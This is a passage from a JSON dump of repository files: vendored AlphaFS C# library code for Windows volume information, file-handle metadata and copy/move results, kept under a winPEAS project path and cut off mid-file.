    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>[AlphaFS] Static class providing utility methods for working with Microsoft Windows devices and volumes.</summary>\n   public static partial class Volume\n   {\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/VolumeInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing Microsoft.Win32.SafeHandles;\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Contains information about a filesystem Volume.</summary>\n   [Serializable]\n   [SecurityCritical]\n   public sealed class VolumeInfo\n   {\n      [NonSerialized] private readonly bool _continueOnAccessError;\n      [NonSerialized] private readonly SafeFileHandle _volumeHandle;\n      [NonSerialized] private NativeMethods.VOLUME_INFO_FLAGS _volumeInfoAttributes;\n\n\n      /// <summary>Initializes a VolumeInfo instance.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"volumeName\">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \\\\server\\share.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1062:Validate arguments of public methods\", MessageId = \"0\", Justification = \"Utils.IsNullOrWhiteSpace validates arguments.\")]\n      [SecurityCritical]\n      public VolumeInfo(string volumeName)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumeName))\n            throw new ArgumentNullException(\"volumeName\");\n\n\n         if (!volumeName.StartsWith(Path.LongPathPrefix, StringComparison.Ordinal))\n            volumeName = Path.IsUncPathCore(volumeName, false, false) ? Path.GetLongPathCore(volumeName, GetFullPathOptions.None) : Path.LongPathPrefix + volumeName;\n\n         else\n         {\n            volumeName = volumeName.Length == 1 ? volumeName + Path.VolumeSeparatorChar : Path.GetPathRoot(volumeName, false);\n\n            if (!volumeName.StartsWith(Path.GlobalRootPrefix, StringComparison.OrdinalIgnoreCase))\n               volumeName = Path.GetPathRoot(volumeName, false);\n         }\n\n\n         if (Utils.IsNullOrWhiteSpace(volumeName))\n            throw new ArgumentException(Resources.InvalidDriveLetterArgument, \"volumeName\");\n\n\n         Name = Path.AddTrailingDirectorySeparator(volumeName, false);\n\n         _volumeHandle = null;\n      }\n\n\n      /// <summary>Initializes a VolumeInfo instance.</summary>\n      /// <param name=\"driveName\">A valid drive path or drive letter. This can be either uppercase or lowercase, 'a' to 'z' or a network share in the format: \"\\\\server\\share\".</param>\n      /// <param name=\"refresh\">Refreshes the state of the object.</param>\n      /// <param name=\"continueOnException\"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>\n      [SecurityCritical]\n      public VolumeInfo(string driveName, bool refresh, bool continueOnException) : this(driveName)\n      {\n         _continueOnAccessError = continueOnException;\n\n         if (refresh)\n            Refresh();\n      }\n\n\n      /// <summary>Initializes a VolumeInfo instance.</summary>\n      /// <param name=\"volumeHandle\">An instance to a <see cref=\"SafeFileHandle\"/> handle.</param>\n      [SecurityCritical]\n      public VolumeInfo(SafeFileHandle volumeHandle)\n      {\n         _volumeHandle = volumeHandle;\n      }\n\n\n      /// <summary>Initializes a VolumeInfo instance.</summary>\n      /// <param name=\"volumeHandle\">An instance to a <see cref=\"SafeFileHandle\"/> handle.</param>\n      /// <param name=\"refresh\">Refreshes the state of the object.</param>\n      /// <param name=\"continueOnException\"><c>true</c> suppress any Exception that might be thrown as a result from a failure, such as unavailable resources.</param>\n      [SecurityCritical]\n      public VolumeInfo(SafeFileHandle volumeHandle, bool refresh, bool continueOnException) : this(volumeHandle)\n      {\n         _continueOnAccessError = continueOnException;\n\n         if (refresh)\n            Refresh();\n      }\n\n\n      \n\n      /// <summary>Refreshes the state of the object.</summary>\n      public void Refresh()\n      {\n         var volumeNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1);\n         var fileSystemNameBuffer = new StringBuilder(NativeMethods.MaxPath + 1);\n         int maximumComponentLength;\n         uint serialNumber;\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         {\n            // GetVolumeInformationXxx()\n            // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n            uint lastError;\n\n            do\n            {\n               var success = null != _volumeHandle && NativeMethods.IsAtLeastWindowsVista\n\n                  // GetVolumeInformationByHandle() / GetVolumeInformation()\n                  // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n                  ? NativeMethods.GetVolumeInformationByHandle(_volumeHandle, volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity)\n\n                  // A trailing backslash is required.\n                  : NativeMethods.GetVolumeInformation(Path.AddTrailingDirectorySeparator(Name, false), volumeNameBuffer, (uint) volumeNameBuffer.Capacity, out serialNumber, out maximumComponentLength, out _volumeInfoAttributes, fileSystemNameBuffer, (uint) fileSystemNameBuffer.Capacity);\n\n\n               lastError = (uint) Marshal.GetLastWin32Error();\n               if (!success)\n               {\n                  switch (lastError)\n                  {\n                     case Win32Errors.ERROR_NOT_READY:\n                        if (!_continueOnAccessError)\n                           throw new DeviceNotReadyException(Name, true);\n                        break;\n\n                     case Win32Errors.ERROR_MORE_DATA:\n                        // With a large enough buffer this code never executes.\n                        volumeNameBuffer.Capacity = volumeNameBuffer.Capacity*2;\n                        fileSystemNameBuffer.Capacity = fileSystemNameBuffer.Capacity*2;\n                        break;\n\n                     default:\n                        if (!_continueOnAccessError)\n                           NativeError.ThrowException(lastError, Name);\n                        break;\n                  }\n               }\n\n               else\n                  break;\n\n            } while (lastError == Win32Errors.ERROR_MORE_DATA);\n         }\n\n         FullPath = Path.GetRegularPathCore(Name, GetFullPathOptions.None, false);\n         Name = volumeNameBuffer.ToString();\n\n         FileSystemName = fileSystemNameBuffer.ToString();\n         FileSystemName = !Utils.IsNullOrWhiteSpace(FileSystemName) ? FileSystemName : null;\n\n         MaximumComponentLength = maximumComponentLength;\n         SerialNumber = serialNumber;\n      }\n\n\n      /// <summary>Returns the full path of the volume.</summary>\n      /// <returns>A string that represents this instance.</returns>\n      public override string ToString()\n      {\n         return Guid;\n      }\n\n\n\n\n      /// <summary>The specified volume supports preserved case of file names when it places a name on disk.</summary>\n      public bool CasePreservedNames\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_PRESERVED_NAMES) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports case-sensitive file names.</summary>\n      public bool CaseSensitiveSearch\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_CASE_SENSITIVE_SEARCH) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports file-based compression.</summary>\n      public bool Compression\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_FILE_COMPRESSION) != 0; }\n      }\n\n\n      /// <summary>The specified volume is a direct access (DAX) volume.</summary>\n      public bool DirectAccess\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_DAX_VOLUME) != 0; }\n      }\n\n\n      /// <summary>Gets the name of the file system, for example, the FAT file system or the NTFS file system.</summary>\n      /// <value>The name of the file system.</value>\n      public string FileSystemName { get; private set; }\n\n\n      /// <summary>The full path to the volume.</summary>\n      public string FullPath { get; private set; }\n\n\n      private string _guid;\n      /// <summary>The volume GUID.</summary>\n      public string Guid\n      {\n         get\n         {\n            if (Utils.IsNullOrWhiteSpace(_guid))\n               _guid = !Utils.IsNullOrWhiteSpace(FullPath) ? Volume.GetUniqueVolumeNameForPath(FullPath) : null;\n\n            return _guid;\n         }\n      }\n\n\n      /// <summary>Gets the maximum length of a file name component that the file system supports.</summary>\n      /// <value>The maximum length of a file name component that the file system supports.</value>      \n      public int MaximumComponentLength { get; set; }\n\n\n      /// <summary>Gets the label of the volume.</summary>\n      /// <returns>The label of the volume.</returns>\n      /// <remarks>This property is the label assigned to the volume, such \"MyDrive\"</remarks>\n      public string Name { get; private set; }\n\n\n      /// <summary>The specified volume supports named streams.</summary>\n      public bool NamedStreams\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_NAMED_STREAMS) != 0; }\n      }\n\n\n      /// <summary>The specified volume preserves and enforces access control lists (ACL).</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Acls\")]\n      public bool PersistentAcls\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_PERSISTENT_ACLS) != 0; }\n      }\n\n      \n      /// <summary>The specified volume is read-only.</summary>\n      public bool ReadOnlyVolume\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_READ_ONLY_VOLUME) != 0; }\n      }\n\n      \n      /// <summary>The specified volume supports a single sequential write.</summary>\n      public bool SequentialWriteOnce\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SEQUENTIAL_WRITE_ONCE) != 0; }\n      }\n\n\n      /// <summary>Gets the volume serial number that the operating system assigns when a hard disk is formatted.</summary>\n      /// <value>The volume serial number that the operating system assigns when a hard disk is formatted.</value>\n      public long SerialNumber { get; private set; }\n\n\n      /// <summary>The specified volume supports the Encrypted File System (EFS).</summary>\n      public bool SupportsEncryption\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_ENCRYPTION) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports extended attributes.</summary>\n      public bool SupportsExtendedAttributes\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_EXTENDED_ATTRIBUTES) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports hard links.</summary>\n      public bool SupportsHardLinks\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_HARD_LINKS) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports object identifiers.</summary>\n      public bool SupportsObjectIds\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OBJECT_IDS) != 0; }\n      }\n\n\n      /// <summary>The file system supports open by FileID.</summary>\n      public bool SupportsOpenByFileId\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_OPEN_BY_FILE_ID) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports remote storage. (This property does not appear on MSDN)</summary>\n      public bool SupportsRemoteStorage\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REMOTE_STORAGE) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports re-parse points.</summary>\n      public bool SupportsReparsePoints\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_REPARSE_POINTS) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports sparse files.</summary>\n      public bool SupportsSparseFiles\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_SPARSE_FILES) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports transactions.</summary>\n      public bool SupportsTransactions\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_TRANSACTIONS) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports update sequence number (USN) journals.</summary>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Usn\")]\n      public bool SupportsUsnJournal\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_SUPPORTS_USN_JOURNAL) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports Unicode in file names as they appear on disk.</summary>\n      public bool UnicodeOnDisk\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_UNICODE_ON_DISK) != 0; }\n      }\n\n\n      /// <summary>The specified volume is a compressed volume, for example, a DoubleSpace volume.</summary>\n      public bool VolumeIsCompressed\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_IS_COMPRESSED) != 0; }\n      }\n\n\n      /// <summary>The specified volume supports disk quotas.</summary>\n      public bool VolumeQuotas\n      {\n         get { return (_volumeInfoAttributes & NativeMethods.VOLUME_INFO_FLAGS.FILE_VOLUME_QUOTAS) != 0; }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/ByHandleFileInfo.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Contains information that the GetFileInformationByHandle function retrieves.</summary>\n   [Serializable]\n   [SecurityCritical]\n   public sealed class ByHandleFileInfo\n   {\n      internal ByHandleFileInfo(NativeMethods.BY_HANDLE_FILE_INFORMATION fibh)\n      {\n         CreationTimeUtc = DateTime.FromFileTimeUtc(fibh.ftCreationTime);\n         LastAccessTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastAccessTime);\n         LastWriteTimeUtc = DateTime.FromFileTimeUtc(fibh.ftLastWriteTime);\n\n         Attributes = fibh.dwFileAttributes;\n         FileIndex = NativeMethods.ToLong(fibh.nFileIndexHigh, fibh.nFileIndexLow);\n         FileSize = NativeMethods.ToLong(fibh.nFileSizeHigh, fibh.nFileSizeLow);\n         NumberOfLinks = (int) fibh.nNumberOfLinks;\n         VolumeSerialNumber = fibh.dwVolumeSerialNumber;\n      }\n\n\n      /// <summary>Gets the file attributes.</summary>\n      /// <value>The file attributes.</value>\n      public FileAttributes Attributes { get; private set; }\n\n\n      /// <summary>Gets the time this entry was created.</summary>\n      /// <value>The time this entry was created.</value>\n      public DateTime CreationTime\n      {\n         get { return CreationTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was created.</summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was created.</value>\n      public DateTime CreationTimeUtc { get; private set; }\n\n\n      /// <summary>Gets the time this entry was last accessed.\n      /// For a file, the structure specifies the last time that a file is read from or written to. \n      /// For a directory, the structure specifies when the directory is created. \n      /// For both files and directories, the specified date is correct, but the time of day is always set to midnight. \n      /// If the underlying file system does not support the last access time, this member is zero (0).\n      /// </summary>\n      /// <value>The time this entry was last accessed.</value>\n      public DateTime LastAccessTime\n      {\n         get { return LastAccessTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was last accessed.\n      /// For a file, the structure specifies the last time that a file is read from or written to. \n      /// For a directory, the structure specifies when the directory is created. \n      /// For both files and directories, the specified date is correct, but the time of day is always set to midnight. \n      /// If the underlying file system does not support the last access time, this member is zero (0).\n      /// </summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was last accessed.</value>\n      public DateTime LastAccessTimeUtc { get; private set; }\n\n\n      /// <summary>Gets the time this entry was last modified.\n      /// For a file, the structure specifies the last time that a file is written to. \n      /// For a directory, the structure specifies when the directory is created. \n      /// If the underlying file system does not support the last access time, this member is zero (0).\n      /// </summary>\n      /// <value>The time this entry was last modified.</value>\n      public DateTime LastWriteTime\n      {\n         get { return LastWriteTimeUtc.ToLocalTime(); }\n      }\n\n\n      /// <summary>Gets the time, in coordinated universal time (UTC), this entry was last modified.\n      /// For a file, the structure specifies the last time that a file is written to. \n      /// For a directory, the structure specifies when the directory is created. \n      /// If the underlying file system does not support the last access time, this member is zero (0).\n      /// </summary>\n      /// <value>The time, in coordinated universal time (UTC), this entry was last modified.</value>\n      public DateTime LastWriteTimeUtc { get; private set; }\n\n\n      /// <summary>Gets the serial number of the volume that contains a file.</summary>\n      /// <value>The serial number of the volume that contains a file.</value>\n      public long VolumeSerialNumber { get; private set; }\n\n\n      /// <summary>Gets the size of the file.</summary>\n      /// <value>The size of the file.</value>\n      public long FileSize { get; private set; }\n\n\n      /// <summary>Gets the number of links to this file. For the FAT file system this member is always 1. For the NTFS file system, it can be more than 1.</summary>\n      /// <value>The number of links to this file. </value>\n      public int NumberOfLinks { get; private set; }\n\n\n      /// <summary>\n      /// Gets the unique identifier associated with the file. The identifier and the volume serial number uniquely identify a \n      /// file on a single computer. To determine whether two open handles represent the same file, combine the identifier \n      /// and the volume serial number for each file and compare them.\n      /// </summary>\n      /// <value>The unique identifier of the file.</value>\n      public long FileIndex { get; private set; }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveArguments.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   internal struct CopyMoveArguments\n   {\n      public int Retry;\n      public int RetryTimeout;\n\n      public KernelTransaction Transaction;\n      public string SourcePath;\n      public string DestinationPath;\n\n      public bool CopyTimestamps;\n\n      public CopyOptions? CopyOptions;\n      public MoveOptions? MoveOptions;\n\n      public CopyMoveProgressRoutine ProgressHandler;\n      public object UserProgressData;\n\n      public PathFormat PathFormat;\n\n\n      internal DirectoryEnumerationFilters DirectoryEnumerationFilters;\n      internal string SourcePathLp;\n      internal string DestinationPathLp;\n      internal bool IsCopy;\n      \n      /// <summary>A Move action fallback using Copy + Delete.</summary>\n      internal bool EmulateMove;\n\n      /// <summary>A file/folder will be deleted or renamed on Computer startup.</summary>\n      internal bool DelayUntilReboot;\n\n      internal bool DeleteOnStartup;\n\n      internal NativeMethods.NativeCopyMoveProgressRoutine Routine;\n\n      internal bool PathsChecked;\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveProgressRoutine.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Callback used by CopyFileXxx and MoveFileXxx to report progress about the copy/move operation.</summary>\n   public delegate CopyMoveProgressResult CopyMoveProgressRoutine(long totalFileSize, long totalBytesTransferred, long streamSize, long streamBytesTransferred, int streamNumber, CopyMoveProgressCallbackReason callbackReason, object userData);\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/CopyMoveResult.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.ComponentModel;\nusing System.Diagnostics;\nusing System.Diagnostics.CodeAnalysis;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   /// <summary>Class for CopyMoveResult that contains the results for the Copy or Move action.</summary>\n   /// <remarks>Normally there is no need to manually instantiate and/or populate this class.</remarks>\n   [Serializable]\n   public sealed class CopyMoveResult\n   {\n      #region Private Fields\n\n      [NonSerialized] internal readonly Stopwatch Stopwatch;\n\n      #endregion // Private Fields\n      \n\n      #region Constructors\n\n      /// <summary>Initializes a CopyMoveResult instance for the Copy or Move action.</summary>\n      /// <param name=\"source\">Indicates the full path to the source file or directory.</param>\n      /// <param name=\"destination\">Indicates the full path to the destination file or directory.</param>\n      private CopyMoveResult(string source, string destination)\n      {\n         Source = source;\n\n         Destination = destination;\n\n         IsCopy = true;\n\n         Retries = 0;\n\n         Stopwatch = new Stopwatch();\n      }\n\n\n      internal CopyMoveResult(CopyMoveArguments cma, bool isFolder) : this(cma.SourcePath, cma.DestinationPath)\n      {\n         IsEmulatedMove = cma.EmulateMove;\n\n         IsCopy = cma.IsCopy;\n\n         IsDirectory = isFolder;\n\n         TimestampsCopied = cma.CopyTimestamps;\n      }\n\n\n      internal CopyMoveResult(CopyMoveArguments cma, bool isFolder, string source, string destination) : this(source, destination)\n      {\n         IsEmulatedMove = cma.EmulateMove;\n\n         IsCopy = cma.IsCopy;\n\n         IsDirectory = isFolder;\n\n         TimestampsCopied = cma.CopyTimestamps;\n      }\n\n      #endregion // Constructors\n\n\n      #region Properties\n\n      /// <summary>Indicates the duration of the Copy or Move action.</summary>\n      public TimeSpan Duration\n      {\n         get { return TimeSpan.FromMilliseconds(Stopwatch.Elapsed.TotalMilliseconds); }\n      }\n      \n\n      /// <summary>Indicates the destination file or directory.</summary>\n      public string Destination { get; private set; }\n      \n\n      /// <summary>The error code encountered during the Copy or Move action.</summary>\n      /// <value>0 (zero) indicates success.</value>\n      public int ErrorCode { get; internal set; }\n\n\n      /// <summary>The error message from the <see cref=\"ErrorCode\"/> that was encountered during the Copy or Move action.</summary>\n      /// <value>A message describing the error.</value>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1065:DoNotRaiseExceptionsInUnexpectedLocations\")]\n      public string ErrorMessage { get { return new Win32Exception(ErrorCode).Message; } }\n\n\n      /// <summary>When <c>true</c> indicates that the Copy or Move action was canceled.</summary>\n      /// <value><c>true</c> when the Copy/Move action was canceled. Otherwise <c>false</c>.</value>\n      public bool IsCanceled { get; internal set; }\n\n\n      /// <summary>When <c>true</c> the action was a Copy, Move otherwise.</summary>\n      /// <value><c>true</c> when the action was a Copy. Otherwise a Move action was performed.</value>\n      public bool IsCopy { get; private set; }\n\n\n      /// <summary>Gets a value indicating whether this instance represents a directory.</summary>\n      /// <value><c>true</c> if this instance represents a directory; otherwise, <c>false</c>.</value>\n      public bool IsDirectory { get; private set; }\n\n\n      /// <summary>Indicates the Move action used a fallback of Copy + Delete actions.</summary>\n      public bool IsEmulatedMove { get; private set; }\n\n\n      /// <summary>Gets a value indicating whether this instance represents a file.</summary>\n      /// <value><c>true</c> if this instance represents a file; otherwise, <c>false</c>.</value>\n      public bool IsFile { get { return !IsDirectory; } }\n\n\n      /// <summary>When <c>true</c> the action was a Move, Copy otherwise.</summary>\n      /// <value><c>true</c> when the action was a Move. Otherwise a Copy action was performed.</value>\n      public bool IsMove { get { return !IsCopy; } }\n\n\n      /// <summary>The total number of retry attempts.</summary>\n      public long Retries { get; internal set; }\n\n\n      /// <summary>Indicates the source file or directory.</summary>\n      public string Source { get; private set; }\n\n\n      /// <summary>Indicates that the source date and timestamps have been applied to the destination file system objects.</summary>\n      public bool TimestampsCopied { get; private set; }\n\n\n      /// <summary>The total number of bytes copied.</summary>\n      public long TotalBytes { get; internal set; }\n\n\n      /// <summary>The total number of bytes copied, formatted as a unit size.</summary>\n      public string TotalBytesUnitSize\n      {\n         get { return Utils.UnitSizeToText(TotalBytes); }\n      